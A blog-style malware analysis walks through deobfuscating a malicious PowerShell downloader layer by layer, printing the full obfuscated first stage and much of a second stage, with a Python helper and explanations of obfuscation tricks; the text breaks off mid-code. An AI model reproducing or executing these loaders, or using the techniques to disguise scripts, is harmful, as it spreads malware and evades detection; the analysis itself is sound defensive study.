Recently I encountered a malicious PowerShell script that was found on a Windows system. The script was twisted and altered in ways that made it seem entirely unreadable, yet somehow it managed to execute and download a whole ton of malicious files onto a system. I decided that I wanted to see how it worked, and where it came from. With this in mind, I set about one of the most challenging goals I’ve ever set for myself.

Especially considering that I didn’t know the first thing about PowerShell when I started.

In this guide, I’ll walk you through the process.

First Steps

To begin, we’ll need a sample of the malware. Here it is, in all its glory:

PoWERSheLL -NOpr -noNinTERAcTIVe -exeCUTIonpOLic  BYpASS   $GAB  =([CHaR]34).TOSTriNg() ;$PJ= ([CHAr]44).ToSTrIng() ;iex( "\"si  vARIaBlE:frle  ([tYPE](${GAB}{0}{3}{1}{2}${GAB}-f 'sY'${PJ}'t'${PJ}'EM.conveRt'${PJ}'S') );    Set  (${GAB}t${GAB}+${GAB}H0${GAB}) (  [TYpE](${GAB}{0}{3}{5}{7}{1}{6}{8}{4}{2}${GAB} -F 'I'${PJ}'n.cOmPReSsION'${PJ}'E'${PJ}'O.cOMPR'${PJ}'d'${PJ}'ESsI'${PJ}'M'${PJ}'o'${PJ}'o') ); sET  ('a3'+'zWr5') ( [tYpe](${GAB}{1}{0}{3}{4}{2}${GAB} -f 'sTem.Te'${PJ}'sy'${PJ}'iNG'${PJ}'x'${PJ}'t.encod'))  ;& ( `${pSh`omE}[4]+`${p`shoMe}[34]+'X') (&(${GAB}{0}{2}{1}${GAB}-f'NEW-o'${PJ}'T'${PJ}'bjEc') (${GAB}{4}{2}{1}{3}{0}${GAB} -f'Er'${PJ}'ReA'${PJ}'rEAm'${PJ}'D'${PJ}'SyStEm.io.ST')(( &(${GAB}{0}{1}{2}${GAB} -f 'NEW-ob'${PJ}'jEc'${PJ}'T')  (${GAB}{1}{7}{4}{6}{5}{0}{3}{2}${GAB} -f'fl'${PJ}'s'${PJ}'m'${PJ}'ATEsTREa'${PJ}'.CO'${PJ}'e'${PJ}'mpREsSIoN.d'${PJ}'yStem.Io')([Io.MEMorYsTream]  (  VaRiABLe  fRLE  -VAlUEO)::(${GAB}{0}{3}{1}{2}${GAB} -f 'fRO'${PJ}'64'${PJ}'StRINg'${PJ}'MbaSe').Invoke( (${GAB}{75}{59}{54}{6}{0}{22}{56}{7}{10}{52}{70}{17}{39}{1}{63}{43}{47}{73}{55}{61}{45}{12}{60}{62}{30}{28}{35}{23}{42}{50}{5}{32}{44}{11}{58}{71}{29}{27}{8}{33}{78}{14}{49}{51}{38}{15}{53}{37}{34}{36}{81}{26}{2}{31}{57}{72}{9}{48}{68}{74}{40}{3}{79}{16}{69}{46}{67}{66}{41}{18}{20}{13}{80}{77}{4}{21}{19}{76}{25}{24}{65}{64}${GAB}-f 'qgY81M3C/jBNAGGgIEAQxwMccCFbrIAkgAfBiRwQGO/rMWB6RvopgR0ic0TgEVuH5jHthaAkRsdSKCgj21AYB'${PJ}'atqz4ekQpMlHDw/xkrbY7Txo7NpgDS6cOjjqIzdl44bC9yzwOJT48gQreIXYBn/I'${PJ}'cp2rCWQNleDIeJNUMCtTERb/nw2RLyfHZtGbu5udnvFy2borgI20XEVOJsm+UxFMSadZR8RxVw9Oi0beZF7'${PJ}'qZLMClvw/dREeCydHa0XuYvdjprmw8emRi9eiSmDjmXHuys0/f7sNPpeFBqa4LarjCTSTaF3e1Coo5gsfVYSejJ5X11966ENO7/RL/FRbxDOukL'${PJ}'GSmS/LSKzxPhPSQTFCa77sHsjdeHhBaq08liXZsEStv2uNK3e6UmguYr3zzOpM8enHZFln9FmpDuLw4+lcGsSyuf0kU'${PJ}'hyQ5cHlLLpI3mCH1ZJuWMhOebkaUnxPrmsKGajkEO'${PJ}'y8vfzG/AG4SsPYTNQDel2//uC/9Fxj6ubHgnx/k5wf2+UFsvOLbIIyj3LU/+A4IFd0P/qiboDfKR/Cvm0MKmrbp9sI2+U/lf/uI/th9/r5hEkApwCOozw8aIG/oQA/ObLZ8YNRPfUAbD'${PJ}'+cuuo0XbeGIdb'${PJ}'eg0QWaNm5hFJVfKoSh5USEIs4c1a8KEaRdg1uMmwZegxjWALclYvOm4PbGViWnEKM7po+viMZjQ5moevGy9AXIFM70ZVpE+LhCvzDeadEsiu4+jQ1KjbdRPMRmpfF4o7fY8Une7aKtiPzZAMvH1hU5Df0UY94SqqmfK'${PJ}'LMM144kqh1'${PJ}'N3WfX0IFrlssieQGfBrACC+hUBiRbPPBkcV1eepF7paIumw0TzWa8iR6pFT2RxCC/du'${PJ}'f3yh'${PJ}'mLPrddazxvvlhQcInYhWeayU82nOfXNAhstTFoqO096T9cDwDs5zY5wvJoR08BdKIJgKk'${PJ}'FTn'${PJ}'mDHy2MwWsc4JILHVaSmjJQv0alKUqze4e6zcO1lXh9HfQx640xnx3MzuYwVH/1rhQD8'${PJ}'yTWPvb+E1JCujhlPbHcxTNZewU6lDC8WEc+JER6'${PJ}'14bl9XC1Y+zIeSMtyftuvU7ntvGSdlcm036XKceUnOv7dKGGvHIcdb9eDpnC0hXWlFP4bOG53K5'${PJ}'sAaIyFPlizNgE0TF22ZgjvTaYh'${PJ}'orUNbl'${PJ}'oOISDEMqn7V1WV1SkdKk7DjIDUcljvp6hWHh7/y17tMm96Nq'${PJ}'W+g3f3vL7JD7FJdSuFZvV1WVFMyOe4/s50y+VG4akuqNPQr+lBbkrE'${PJ}'mJz2bcwfd03tHRU5Mg33Mu+lZ/0XcUbZzu'${PJ}'7fLAEK'${PJ}'VR6g5Jvf3O4+jeJgVbefdRPVcnZI5iyA9Ggg5ue+SU37WJgfzhHtAL5IkXwDeOVWEmQ52Em'${PJ}'f1U7xE/2qLHSaHvF/bDv2779KgY3iHT4/7LklyDx+e/mAultNTb2sOjtzfQjKC+bfvh6qoPHRftD2kA'${PJ}'//Vt29vLXRdrWA6urbW5JtzetW83wVbF/05P51QrZopPP3YwxYvou//fizqPsq+ra0PEZfGMfnT4x/VYTFJgtmgcwX9duP/9SE'${PJ}'yKMqt61zTO03aw4fjDhBJG'${PJ}'iMG1U60PkipCgcJrFIErCE/Ts'${PJ}'BFdV'${PJ}'iDvcRorVBgCnBgmlPPOllfiWpWG7RJTVvVLAwh5IPpy0nreZ5vg1t0DUt6StYaRm+'${PJ}'UwKpDqaqLgshbvUsnNkkDzFNAz0HYpS5nz+B4z0ffaqlndNsHeH0uDccnEe3dUuH3CSlwt5bYDS0kpRwN5AKfnlja4bBNFvCd8U6CSQ6mDUlDjdSbrnQIByL0xFFnszMVVNRF72nFN79jjmvixpd'${PJ}'GuQavfmng46HUtnKS+vDPlrGi44wJ88OO'${PJ}'SBLcJwp'${PJ}'tprUx4iVlkXuZ'${PJ}'aOmbDDgb/k+'${PJ}'rxKdT3wJkB4sEXUPFJ7XRNTQ6gFZp9P'${PJ}'akQj/iWbR38id9jmpC26BiB5DeFe'${PJ}'ablcVV2'${PJ}'J5+CKoUhV6YPlWhdUF4O8wiyPSAjGZmCjKNaG9jy12WohKUlI0ZlsYBaFniTKY'${PJ}'f60maREToi2JLxiPPpHHPmW2kLl4iX1K'${PJ}'/Dhf4PO4Ll2YncrCC/SW7xM52kM41qu1JWfWD'${PJ}'1XbNruMSrM+46CxkYU9Pl5zd1llQG3xBqsR1aNGKpX57iLrKOquHn'${PJ}'EdxNTSazsiNXu/LP1SPS8r67YJTujaEa6nmkkaiBAHCfUzrW1O8W603V67TI/xCin0VA8VWWUeH'${PJ}'ELPdoi'${PJ}'tDsg2eSY4lUx9iMiEBOpINiaOA13lz2qLjkIxisUc'${PJ}'t4BsXjuFib81B4s3No51NC'${PJ}'fHgc1igI2o1DPzo5wJv5J2wk/Ibg9QXYuZ0Kdw5nc1vMe1Jy4GvZYEcbiqTEE9kCp3Uw2hIMxt3i0V8Ww5DsmBixaHh'${PJ}'zuRrHWyKmkqrpySQmcRXsQL4okRv6/tPOem'${PJ}'CveGdOVQ9C7r5iOxz19OSRiHGPPGNDYMXBV58jOZ0T8SvgZMsWTwQol85zg67N4kM1BFfq86IrcCJhulJCDG1wBzNB1+fw46BnLzDCHc'${PJ}'ukSsrYUgO+UEzJn3KmI3Ckl7TKZh0x7R80fG'${PJ}'93g'${PJ}'mrG15hpEBc5'${PJ}'AoF'${PJ}'WBi7sY3AU/PnHRP0Wsg6S0Vbi8MLGJh'${PJ}'P79ykaimhXp'${PJ}'zFZdAMB6qVku/HbQUlcKGUPMx3vfbhqTa3nsIO9JGk0'${PJ}'0G1+awE/AfgIAItt0JsRgIfc+AF5m97WEvlaL+wrAC9vS9pEulIMR'${PJ}'EsnQ9Jb+c'${PJ}'hX8SKPHR0hJJlcEZufbun2X7uLevlk0d8rcNWdg9AZldy/I87NcXpg4eBrzg77Ve1Y7XBwhZNR'${PJ}'qGv7y/fXv7hLGb6v99eP5DPD/Tz9Xv2lnSG9/bLm2Dd395f3l9efnt5sd'${PJ}'lq+Ct'${PJ}'QrGfH5GNNxiwQ3KNba61d'${PJ}'LNWa0jlrr6cSTgrF+dcgso0qcZGrcMGptpnYrEt5HvseKR41IxsDa'${PJ}'pVw4Fc4b'${PJ}'HtCr/++nr5I02A239Ygj2+ApB/xgv7M2Qvb9sSW5tb0cXphPZfit8/t0gtBVgiUGzvPt//Dw=='${PJ}'B1Le//1c7vpzeUJpuWL4Q5OMPPf2C3Vz8zr38z7dfQHH7kgvOd4+ziigGVfC3V/GvKvrl+8RpD+HY1svL+6+//rkaX7XkTyfFoWu2qy0aU4rY6qxNz1C0+dv7D7mduioFwbr9cfp8f3//0gWU3YGyoeBi7WfJ/ZfL27ucBHt3K5B/TF'${PJ}'1WiY/cG0imMyExkpVfgx'${PJ}'YAxP7GhJz8QI1D5FZ84AgTsj3GMXZ8mDzrnu+rgT'${PJ}'/y5GTydxQrIgSA3ui4ljjvW3E/6EkKn+1rxuhSUwWjYlm9MhS5uu4IqV/qMZTd4t'${PJ}'+TL4nXrh3Ep1WonymS+3OPLFdo8U3ema2XZo6elgFkObC5og9FgK3FuSCcgpqwytNElAHT4eBZCA4u5pBC5YUghKcz4OTfeo4ftrZHGPNMmcKXKrpgC6DG/UKw3Mzc7PIc1w7cxwuyDv5LDicPEq51mTcNZdjvs2rfRpy5Sxfdj5Vz8rMUYQMJ2HFl'${PJ}'r3TFGE6P0uHZdJ+5/rijAEQu2+D/ajbDfSgE1nd9SqkPo/us28ZBd'${PJ}'4HlxCu5lXXHzIt2xL2inhsdkuMED/3uChi+Ez3Yfg8DtdWlKJFFF+AqGzD/XadaBu1+W4sAtaZvBKsR6T5Ppi1fMItsjvvwMIpthN4qHF2ts'${PJ}'I'${PJ}'uCZ1IL64uHjJsAB92IwWSLz7XNZi83PlO1uMJ9D'${PJ}'2+fMH8kn8zNcyOWIQqrgOwF8RtJ17d9uquXvLw'${PJ}'bVcJj6NIsv4rpdJqq0tMN/c1o5EexoA5jTkNqycNYMDcGGwwlOq/v6R6Z3bfai3hPCLii4iMzMgMW3Bevr1m6iv0S'${PJ}'XQP72t4/T7fP94+'${PJ}'V1zYSHHcDvBzcE46odieUs8+tApcmLS4I1AEOWwHxWfXUb3dj1MPGRV2rDuDMfJVMqAe3MqWdSUPpV3GKDlhE3NADN08siDLWtSJi1DLhp1BOTSzv880al'${PJ}'1Pe7cfrlqEgesAUtGdgz7TYy4xKcqdlt1Xw+6Lnk'${PJ}'bEZpItBGIve3N'${PJ}'tkcCm8FwbzKu+Yw9/GFP5gFf2dw8k9RCm3a0'${PJ}'mB'))${PJ}  (  Gv  (${GAB}t${GAB}+${GAB}H0${GAB})  -ValUeo )::${GAB}DeCo`M`press${GAB})) ${PJ}  ( gCI  ('vArIAb'+'le:a3zWr'+'5')).${GAB}v`AlUe${GAB}::${GAB}ut`F8${GAB})).(${GAB}{1}{2}{0}${GAB}-f 'd'${PJ}'re'${PJ}'adToen').Invoke( )"\")

Over 6,000 characters, all on one line. It’s painful even to look at, isn’t it?

Right off the bat, I recognized one piece of trouble: the programmers used aLTerNaTInG cAPiTalIzatIon throughout the document. After a little research, I learned that PowerShell is entirely case-insensitive; it doesn’t matter whether you use all capitals, all lowercase, or any mixture therein. It’s all the same. Which might be convenient for someone writing a PowerShell script, but is pretty frustrating for someone trying to deobfuscate a mess like this.

I also noticed that the coders used semicolons to allow them to put more than one command on a single line. So, my first step was to split up the lines, and to attempt to format the code into something more readable. I also removed everything prior to the first variable declaration; I didn’t need to include the PowerShell command-line arguments in the script as I worked.

After these modifications, the script was a little more readable… But only a little:

$GAB  =([CHaR]34).TOSTriNg()
$PJ= ([CHAr]44).ToSTrIng()
iex( "\"si  vARIaBlE:frle  ([tYPE](${GAB}{0}{3}{1}{2}${GAB}-f 'sY'${PJ}'t'${PJ}'EM.conveRt'${PJ}'S') )
    Set  (${GAB}t${GAB}+${GAB}H0${GAB}) (  [TYpE](${GAB}{0}{3}{5}{7}{1}{6}{8}{4}{2}${GAB} -F 'I'${PJ}'n.cOmPReSsION'${PJ}'E'${PJ}'O.cOMPR'${PJ}'d'${PJ}'ESsI'${PJ}'M'${PJ}'o'${PJ}'o') )
 sET  ('a3'+'zWr5') ( [tYpe](${GAB}{1}{0}{3}{4}{2}${GAB} -f 'sTem.Te'${PJ}'sy'${PJ}'iNG'${PJ}'x'${PJ}'t.encod'))
[...]

I recognized that $GAB and $PJ were variables. Each was being declared with an integer type-cast as a character, type-cast into a string. I can do something similar in Python, so I quickly looked up the ASCII character values for 34 and 44:

>>> print(chr(34))
"
>>> print(chr(44))
,

$GAB referred to a double-quote (") character, and $PJ referred to a comma (,) character. Easy enough! I also noticed that, while the variables were declared without brackets, they were referenced throughout the document with brackets, like so:

[...] Set  (${GAB}t${GAB}+${GAB}H0${GAB}) ( [...]

I discovered that, in PowerShell, variables can be set (and referenced) in a variety of ways. $GAB and ${GAB} are equivalent; the latter is merely a literal variable reference. In PowerShell, variable names can have spaces and other fancy characters, if they’re surrounded by brackets. (We’ll learn about other ways to set and reference variables later in this document.)

It was easy enough to replace all instances of ${GAB} and ${PJ} with their respective characters, which resulted in a significantly more readable (but still awful) script. This also allowed me to remove the first two lines:

iex( "\"si  vARIaBlE:frle  ([tYPE]("{0}{3}{1}{2}"-f 'sY','t','EM.conveRt','S') )
    Set  ("t"+"H0") (  [TYpE]("{0}{3}{5}{7}{1}{6}{8}{4}{2}" -F 'I','n.cOmPReSsION','E','O.cOMPR','d','ESsI','M','o','o') )
 sET  ('a3'+'zWr5') ( [tYpe]("{1}{0}{3}{4}{2}" -f 'sTem.Te','sy','iNG','x','t.encod'))
& ( ${pShomE}[4]+${pshoMe}[34]+'X') (&("{0}{2}{1}"-f'NEW-o','T','bjEc')
[...]

The next thing I noticed was the regular presence of this type of pattern:

("{0}{3}{1}{2}"-f 'sY','t','EM.conveRt','S')

This was familiar to me; there’s a similar feature in Python:

>>> print("{0}{1}{2}{3}".format('a','b','c','d'))
abcd

Basically, in PowerShell, if you follow a properly-formatted string with the -f modifier, then provide a comma-separated list of values, those values will be substituted in their appropriate places in the string. With that in mind, the above PowerShell example would become the following:

("sYStEM.conveRt")

There were tons of these string substitutions throughout the script. So, I wrote a little Python script to parse them out for me:

#!/usr/bin/env python3
# Usage: ./decode.py [input file] [output file]

import re
import sys

if len(sys.argv) != 3:
    print("You must provide the name of the input and output files.")
    exit()

with open(sys.argv[1]) as infile:
    contents = infile.read()

regex = re.compile("\(\"(?:\{[0-9]+\})+\"\ *-[fF]\ *\'.+?\'(?:,\'.+?\')+\)")
matches = regex.findall(contents)

for match in matches:
    index = match.lower().index("-f")
    parts = [match[1:index].strip(),match[index + 2:-1].strip()]
    order = [
        int(part.replace('{','').replace('"','').strip())
        for part in parts[0].split("}")
        if part.replace('{','').replace('"','').strip() != ''
    ]
    segments = [part[1:-1] for part in parts[1].split(",")]
    result = "(\"" + "".join(segments[index] for index in order) + "\")"
    contents = contents.replace(match, result)

with open(sys.argv[2],'w') as outfile:
    outfile.write(contents.replace(";","\n"))

Using the script, I was able to clean up the PowerShell script significantly:

iex( "\"si  vARIaBlE:frle  ([tYPE]("sYStEM.conveRt") )
    Set  ("t"+"H0") (  [TYpE]("IO.cOMPRESsIon.cOmPReSsIONModE") )
 sET  ('a3'+'zWr5') ( [tYpe]("sysTem.Text.encodiNG"))
& ( ${pShomE}[4]+${pshoMe}[34]+'X') (&("NEW-objEcT")
[...]

Finally, the script was starting to make some sense! Here I discovered yet another way that variables could be set and referenced:

set ("VarName") ("VarValue")

I noticed that in some of these variable declarations, the creators had obfuscated the variable names by splitting their strings apart:

Set  ("t"+"H0") [...]
sET  ('a3'+'zWr5') [...]

I could easily join the strings to create full variable names:

set ("th0") [...]
set ("a3zwr5") [...]

So I searched through the whole document, concatenating strings that had been split with plus signs (+). Also, to make the document more readable, I removed extraneous whitespace; anywhere I saw more than one space that wasn’t part of a string, I shrunk it down to a single space.

This was progress, but still not enough. There were lots of variable names that had inconsistent capitalization. I wanted to force it all into lower-case, but I recognized that smack-dab in the middle of the script was a large block of Base64 text. While PowerShell might be case-insensitive, Base64 isn’t.

I extracted the Base64 string from the script and saved it to another file, then converted the whole script to lowercase using Python:

>>> with open('evil.ps1') as infile:
...   with open('newfile.ps1','w') as outfile:
...     outfile.write(infile.read().lower())
...
568

The resulting file was much easier to read. I cleaned up the formatting a bit further:

iex(
  "\"
  si variable:frle ([type]("system.convert"))
  set ("th0") ([type]("io.compression.compressionmode"))
  set ('a3zwr5') ([type]("system.text.encoding"))
  &(
    ${pshome}[4]+${pshome}[34]+'x'
  )(
    &("new-object")("system.io.streamreader")(
      (&("new-object")("system.io.compression.deflatestream")(
        [io.memorystream](variable frle -valueo)::("frombase64string").invoke(
          ("base-64-text-goes-here")
        ),
        (gv ("th0") -valueo)::"decompress"
      )),(gci('variable:a3zwr5'))."value"::"utf8"
    )
  ).("readtoend").invoke()
  "\"
)

Looking at the script, I learned yet another way that variables can be set and retrieved:

si variable:VarName "Value_of_Variable"

This works because the si alias refers to the Set-Item command, which changes the value of an item to the value specified.

Likewise, variables can be read in a few additional ways:

variable VarName -ValueOnly
(gci("variable:VarName"))."value"
gv "VarName" -ValueOnly

The modifier -ValueOnly can also be abbreviated as -valueo (or even as -va – apparently PowerShell auto-completes incomplete modifiers).

By performing some basic substitution, I was able to clean up the script more:

iex(
  "\"
  &(
    ${pshome}[4]+${pshome}[34]+'x'
  )(
    &("new-object")("system.io.streamreader")(
      (&("new-object")("system.io.compression.deflatestream")(
        [io.memorystream](
          [type]("system.convert")
        )::("frombase64string").invoke(
          ("base-64-text-goes-here")
        ),
        ([type]("io.compression.compressionmode"))::"decompress"
      )),([type]("system.text.encoding"))::"utf8"
    )
  ).("readtoend").invoke()
  "\"
)

I couldn’t find a variable substitution for ${pshome}, so I did some research, and discovered that the variable actually has a special significance: it shows where the PowerShell binaries exist on-disk. On my system, ${pshome} evaluates to C:\Windows\System32\WindowsPowerShell\v1.0.

With this in mind, I looked at the script again:

[...]
${pshome}[4] + ${pshome}[34] + 'x'
[...]

That line takes the characters in positions 4 and 34 in ${pshome}, and appends them with the letter x. Let’s see the result:

PS C:\> echo (${pshome}[4] + ${pshome}[34] + 'x')
iex

Clever! The writers of the script used the string value of the PowerShell home directory to craft the iex alias, which stands for Invoke-Expression.

With this in mind, the start of the script looks like this:

iex(
  "\"
  &("iex")(
    &("new-object")("system.io.streamreader")(
[...]

Here I notice another pattern: a command can be invoked by passing a string within parentheses, preceeded by an ampersand (&) and followed by the command’s arguments. For example, the following two lines are equivalent:

iex("cls")
&("iex")("cls")

With this in mind, I was able to shrink the file some more. I also noticed that the "\" strings seemed to be extraneous, and the all-encompassing iex call could be removed. Thus, my result was a much simpler script:

iex(
  new-object("system.io.streamreader")(
    (
      new-object("system.io.compression.deflatestream")(
        [io.memorystream](
          [type]("system.convert")
        )::("frombase64string").invoke(
          ("base-64-text-goes-here")
        ),
        ([type]("io.compression.compressionmode"))::"decompress"
      )
    ),([type]("system.text.encoding"))::"utf8"
  )
).("readtoend").invoke()

From the looks of it, this script takes the Base64 text that I previously removed, decodes it into binary, decompresses the binary as utf8 text, then passes the text to an iex call, executing whatever code is stored therein.

By changing iex to echo and appending > output.txt to the end, I could decode the Base64 and extract its contents into a file called output.txt:

echo(
  new-object("system.io.streamreader")(
    (
      new-object("system.io.compression.deflatestream")(
        [io.memorystream](
          [type]("system.convert")
        )::("frombase64string").invoke(
          ("base-64-text-goes-here")
        ),
        ([type]("io.compression.compressionmode"))::"decompress"
      )
    ),([type]("system.text.encoding"))::"utf8"
  )
).("readtoend").invoke() > output.txt

Stage Two

Replacing the Base64 text into the script, I executed the script and retrieved the extracted code… Only to discover yet another obfuscated layer. I tried to read the output in a text editor, yet the code was full of unprintable characters:

Garbage

Reading the binary of the file in Python, I saw what the problem was:

>>> with open('output.txt','rb') as infile:
...   contents = infile.read()
...
>>> contents[:20]
b'\xff\xfeS\x00E\x00T\x00 \x00(\x00"\x00f\x00K\x00"\x00'

To start, the first two bytes of the file were \xff\xfe. Googling for this byte sequence, I learned that they could be inserted at the beginning of a Unicode text to signal its endianness. While most systems are little-endian, this text was formatted as big-endian. I also noticed that every other character was a null-byte (\x00). This also had to do with the file’s encoding.

On a hunch, I simply removed the first two bytes, as well as every null byte, and wrote the contents back to the file:

>>> contents = contents[2:].decode().replace('\x00','')
>>> with open('output.txt','w') as outfile:
...   outfile.write(contents)
...
4135

The resulting code was no longer plagued by unreadable characters, though it was clear I would once again be forced to tweak it for legibility:

SET ("fK"+"61") ( [TyPe]("{0}{1}"-f'coNV','ERt') )  ;  Set-variaBle  ("{0}{1}" -f'5','pv6r')  ([type]("{1}{0}{3}{5}{2}{4}" -F'rEssIon.Co','io.COMP','sIO','MPre','nmoDE','s') )  ;${a`B}=("{14}{15}{46}{7}{53}{51}{38}{1}{26}{3}{52}{37}{28}{5}{29}{43}{48}{6}{49}{33}{32}{11}{34}{44}{27}{39}{9}{2}{30}{8}{17}{50}{40}{35}{55}{58}{25}{56}{57}{59}{16}{24}{45}{31}{23}{19}{13}{18}{47}{42}{22}{36}{41}{54}{4}{12}{20}{10}{0}{21}"-f 'yemaMJirOTtFUmVaV','bMPpU9KQu4nJdyIVE7fYwJ','K5','pG7FXC5YOzUIvGpJo7R77ZcLW9Vk5s6n1Q5iHZdoszEiCJoisZvujTC9eDfUWsB6','gIS','hPmrtriE9WUW6JlHsUxlnmT0BirONc5QRIGw','LFyLyvYt8oL0WlMceca4ZWFFn5bsC8ebpAPnaKyVcIde77RRbhO165cKZHwx9RnoXvL9sm2T/GQo/ao+9g9byA2DU8uHj3rx','CT4BYCeCeAjri8X+FfgV7RAQ59RQRkGvihAJe+XF/yFd0VFaCDlSggAvbl5M','yU3Fdf2Y1uS8LYGCUxyzi6','zCoSFbv','WJU402C+kzRMqHLe1GZm4KgsbDpO','6npVuEB5S1ccLj8Fxuses','bArJRzpMhLrCmU/b/iDRwYcVwmunwP6+9XnVnRxqCUj6/Z0SiGRPyBKPxPvpmy/Nn/5RK9wvMp7lr','QTmB4TVl8FeYUy6448kGGmCh96mPazsLnVM4x6/2pzT5ff6j358l3NNlLw6Bz0ZtsCp2iul0GNr9Svc+KT2KKU9+0UkxiTwP5Hb77','H4sIAAAAAAAEACVW1xKjSg79la37sDNT3C1','yergP5GiSDR','rnGGcAqRt','9l882LSG3BizvE51rPl6Frq5InAZN4TRAM0JIvPfUKeFMFVxGZtWo8XzyKadEUKKhG7gvCj','u94aou1/wzcFL1ku+RQQhW06wb5DttC313ZfinoVqFKXkQcwfa+Mar4IctBcQgXLvT2VEtY7yGGId','XeJEw7YBG4RHFeRMlSa5LSDyypykxdz9Unc34MLO/lvl8cm+4FrG1WfLnmQbBsSUpLdvush+J7vlrk5kfVCaq/uGGT/jqcdGVrPZ6x9mn6PcC7ms1CwcRhe/NKRT45r0yYOw61oH0fvTPFhJNDs0E4v5J02zcTmAtIV6ljA+/3k10UWjq2iCs71OuZ6GPAiYPoWSMStGtFDSqR7AQfUzg8/1q+ftVYggXIjd8bYxNwu7qlD9LHdTEZ8KbwrU4LqPh3FuIqf','Ee4V9fBYN','tm3ZU23w7pZ5iHToej6cGa6Wc+1wW+pLhr6qhyOy9y1jf/z69V8cgMyRlwsAAA==','8iBvFHn2nqyFrts+7LrE/6ER/7VFQMjgh56bIn1yePq6Yy8HjCZvJ','zPXwqrnYomn5WJ2jRNWF2/lTkzu56iZE63l10/k+3eesioLEI9NqFfajAjIZFGVaiEEwV2mzc8ZeoY2RuqG/dYl3L','GI2bJ','qx2z8b70NiXeuoobsYv1mhPHVfzq','k/8pPZkaMsy+CJwq75Uj4ftssT56sSNlxFcs6gwy6LqxO6tSinkiDsm','cWMy7eZWz08UQ1KKVPISKclOa9GyyIpwPIBDsh','C+7r2J1p8/VPR9dw1GIoLfqzEWpipAcYBCIsYsRObZ4YuhF6vf5IdaQkce2lB3UxiUSywzuOMsYpNX7fOXmvU8RbOWhk0','lj0R0','++SeAE2TwDK0SmJ57V8fL2vD0Mguf9PbRzgL+6YTQMA/k865KJpYyhli6ob4TV8yuaEYsmr9aabLrnXvnfzR0e54GaX5m/91+x51C252nuDWx+JZ7iQfp4ytFX5lVi1rj//yROCZ4F7ry8SmSNYVKgxt2EMlEfoRK1nRA3i/','jV','AjfTPc9rHCdggQiFO3v','T3x3tb74Gq','NYGWmiKH8g+agRhwl7BLGD/HOB','5I+fB9RE5SAl','0Vv+YAz8a7RWwXNF3pwTS70qUBwUpJVfw+tK','FTUJ/fvvIX6ab2GXIW0FFgKOTn9aVaUQrIl1qWQHM3ZGjnIynW/W1jbyM08QVSYARM5Z5VzCiVY2LNx3JiJlz3oNvhA01tWJPTVAxWIZ4b329X2','o8/klg0BW8F3h4Wf0vbvN9Ej8xv/hxiu5mHKEpgioigNY8osG0HUYhTVAroogwuHMf98w/A3ACXmrVM92i+T++Uahyj33TRwpvMyZ+QtzkCMGYjYsNSRWNviMF0','6jz7X2fq/BDnx/CO5x8qVUa984iRi+Sy0WmGMMh','BlygjtuHd/XsDiU79v5rRYDdfdbT','qXl1LD5IKWYvkGPk2y3Dvma3bGXTLpFAdSnsLLW/Oml1dVj2JrM2fOtUEmpDXTmMDFEm74Ar','54eh','Vqu61TJP97XJc7vPCWKzWRuLrBWmMdbOMm0ARh+','Cv51mE4DSVwhm9CMZzSb2OAVs7GIDozhvXnmVcnBjcvDBfJOe5wltvd6rgkTTKDzdHfJ97k2mjvZxn/wjM','2ItcVZDTcM7Jagw7jLt8x2BmLbq7w8','jeTMZkY+LU/Ps2uy43Ry0d1AJ1S/z754+o/vHr58+/fhPYn984++c3CgYQSQoACvBSA8RwIAPEAeLMn98IAEAh//wmwAwFCAAnwAA3EIBIXETAIsGgLmfAhgIbCngkDeZAjwIdBW6lwJwA64I/cZkAjbrWA2YM0KkrrCsWgECNgoEBGgq80ld4wAMGZBToSC','Bp5RT/hji0HqK8c4x0vZTeV27+LPmUr','bqyHrcy2FkA1ZrNrx2ORGxcNYKpe1wANmMDX0AuBbfcu7gAohut4ksNPpHPRiOcw4f5Gk3OeLBmBoAc2pfAaXEfZp7vdg9M','EKm3y0kcUT7FRbGp5','UJzwKHp6aKzchkMq3E','DcbQbj+nzk9flkdz1fNbwbtXfMdkUZZ5KB7QEp','NIoi01MAj','9f//pP8UPxbV3uSvPH3z9gPX56y7PSaDJU/Ne33SY3XYXcoEi','QxpZRi3EvLbo4100H0','W9zsKqtOvp+Nk2OloN8NgzGN+pV6lRRh5HjSjb15v2v8H0NMPO9SmJR6QAa1RS/TrJHmwWDfL6yJcwCjjaFl3pfEerJNZRwdBu0tNuVYeRzC2fcfryanWBnNhAQh61gF2pTxflfJW7uvRRX1xkKT0TCsQXjN4yp','x4e4j','WR2MzDm7GOJIaWNUdDnIx7tK3mTT','3+3ORGIQ','rlk6aJoeUsrI8+6cuwhX+bE');function YI(${Qq}){&("{0}{1}"-f 'na','l') ('cf') ("{2}{1}{0}"-f 'ct','je','New-Ob') -F;.("{1}{0}" -f'l','sa') ('Ox') ("{0}{1}" -f'ie','x');.('Ox')(.('cf') ("{2}{1}{3}{0}{4}" -f'amRead','.Str','IO','e','er')(.('cf') ("{5}{3}{4}{2}{1}{0}"-f'am','re','ZipSt','O.Compres','sion.G','I')((&('cf') ("{2}{1}{3}{0}"-f 'm','morySt','IO.Me','rea') -A @(,  ( gET-VARiable ("FK"+"61")  -vALuEOnly )::("{0}{1}{2}{3}" -f'FromB','ase64S','t','ring').Invoke(${q`Q}))),  (  gEt-VAriAbLe  ("{1}{0}"-f'R','5pV6') ).valUE::"d`ecomp`RESs"))).("{1}{2}{0}" -f 'd','Re','adToEn').Invoke()};.('yi')(${aB})

Time to start the process all over!

I removed all instances of "+" and '+' to combine split strings. I ran the file through my decode.py Python script. I found a long Base64 string and extracted it from the code, saving it in another file called base64.txt. I converted the remainder of the code to lower-case. I standardized the various variable declarations, and converted the ampersand-preceded method calls into normal method calls.

During this process, I learned about the backtick (`) character, sometimes called the “grave,” which is used in PowerShell to allow for arbitrary line breaks. In this code, the backtick was inserted arbitrarily, to further complicate things:

[...]
${a`b}=("base-64-text-goes-here")
[...]

Despite the presence of the backtick in the variable declaration, the ${a`b} variable is actually stored as ${ab}. In fact, all backticks can safely be removed from the entire script. (This may not be the case in every script, but in this one it caused no problems.)

I also learned that, similar to the ampersand-preceded method calls, the following is also equivalent:

iex("cls")
.("iex")("cls")

Thus, I was able to clarify the source further. Finally, I learned the nal and sal commands, which are aliases for New-Alias and Set-Alias, respectively; they enable the use of custom commands which refer to other PowerShell commands – a clever way to further obfuscate the function of the script.

Having clarified the script to the fullest, the end result looked like this:

iex(
  new-object("io.streamreader")(
    new-object("io.compression.gzipstream")(
      (
        new-object("io.memorystream") -a @(
          ,([type]("convert"))::("frombase64string").invoke(
            "base-64-text-goes-here"
          )
        )
